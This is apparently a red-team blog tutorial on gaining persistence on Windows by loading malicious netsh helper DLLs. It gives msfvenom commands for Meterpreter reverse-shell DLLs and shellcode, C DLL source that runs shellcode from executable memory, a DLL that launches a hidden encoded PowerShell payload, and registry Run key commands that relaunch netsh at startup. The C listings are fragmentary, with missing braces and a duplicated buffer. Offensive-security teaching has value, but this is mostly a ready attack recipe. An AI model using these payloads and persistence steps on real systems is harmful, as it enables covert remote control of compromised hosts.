Netsh is a Windows utility which can be used by administrators to perform tasks related to the network configuration of a system and perform modifications on the host based Windows firewall. Netsh functionality can be extended with the usage of DLL files. This capability enable red teams to use this tool in order to load arbitrary DLL’s to achieve code execution and therefore persistence. However, the implementation of this technique requires local administrator level privileges.

An arbitrary DLL file can be generated through the “msfvenom” utility of Metasploit Framework.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f dll > /tmp/pentestlab.dll
Generate Malicious DLL

The DLL file can be transferred to the target host through the upload functionality of Meterpreter or any other file transfer capability that the Command and Control (C2) supports.

Upload Malicious DLL

The “add helper” can be used to register the DLL with the “netsh” utility.

add helper path-to-malicious-dll
Add Helper DLL

Every time that the netsh utility starts the DLL will executed and a communication will established.

Netsh Helper DLL – Meterpreter

However netsh is not by default scheduled to start automatically. Creating a registry key that will execute the utility during the startup of Windows will create the persistence on the host. This can be done directly from a Meterpreter session or from a Windows shell.

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Windows\SysWOW64\netsh"
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run\\ -v pentestlab -d 'C:\Windows\SysWOW64\netsh'
Create Registry Run Key

Alternatively of the Registry Run Key there are various other methods which can be used to start the utility such as creating a Service or a Scheduled Task.

Outflank an IT security company based in Netherlands where the first to release a proof of concept DLL in their Github repository. The DLL was written in C by Marc Smeets and it can be modified to contain a custom shellcode. Metasploit Framework utility “msfvenom” can be used to generate shellcode in various languages.

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp -b '\x00' -f c
C Shellcode – Netsh

The generated shellcode can be injected into the Netsh Helper DLL code.

#include <stdio.h>
#include <windows.h> // only required if you want to pop calc

#ifdef _M_X64
unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";

// Start a separate thread so netsh remains useful.
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
	LPVOID newMemory;
	HANDLE currentProcess;
	SIZE_T bytesWritten;
	BOOL didWeCopy = FALSE;
	// Get the current process handle 
	currentProcess = GetCurrentProcess();
	// Allocate memory with Read+Write+Execute permissions 
	newMemory = VirtualAllocEx(currentProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (newMemory == NULL)
		return -1;
	// Copy the shellcode into the memory we just created 
	didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&buf, sizeof(buf), &bytesWritten);
	if (!didWeCopy)
		return -2;
	// Yay! Let's run our shellcode! 
	return 1;

// define the DLL handler 'InitHelpderDll' as required by netsh.
// See
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
	//make a thread handler, start the function as a thread, and close the handler 
	HANDLE threadHandle;
	threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
	// simple testing by starting calculator
	system ("start calc");

	// return NO_ERROR is required. Here we are doing it the nasty way
	return 0;
Netsh Helpder DLL

Similar to the above method rtcrowley released a PowerShell version of this method in his Github repository. The following code can be used to execute a PowerShell Base64 encoded payload and supports two options.

#include <stdio.h>
#include <windows.h>

DWORD WINAPI YahSure(LPVOID lpParameter)
	//Option 1: Quick and simple. Opens 1 PS proc & briefly displays window. Set payload to b64 unicode.
	system("start C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -nonI -nopro -enc \

	//Option 2: Execute loaded b64 into a reg key value. Will spin up a few etra procs, but will not open an extra window.
	//system("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c \
		   	$x=((gp HKLM:SOFTWARE\\Microsoft\\Notepad debug).debug); \
				powershell -nopro -enc $x 2> nul");
	return 1;


//Custom netsh helper format
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
	HANDLE hand;
	hand = CreateThread(NULL, 0, YahSure, NULL, 0, NULL);

	return NO_ERROR;
Netsh Helper DLL – PowerShell Method

Executing the “netsh” utility and using the “add helper” command to load both the DLL’s in the system will execute the integrated payloads.

add helper C:\Users\pentestlab\Desktop\NetshHelperBeacon.dll
add helper C:\Users\pentestlab\Desktop\NetshPowerShell.dll
Netsh Helper DLL

Empire and Metasploit “multi/handler” module can be used to receive the communication from both DLL’s.

Netsh Helper DLL PowerShell
Netsh Helper DLL Meterpreter

When the “add helper” command is executed to load a DLL file a registry key is created in the following location.

Netsh Registry Keys

It should be noted that some VPN clients which might be installed on the compromised system might start automatically “netsh” therefore it might not be required to use another method for persistence.


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s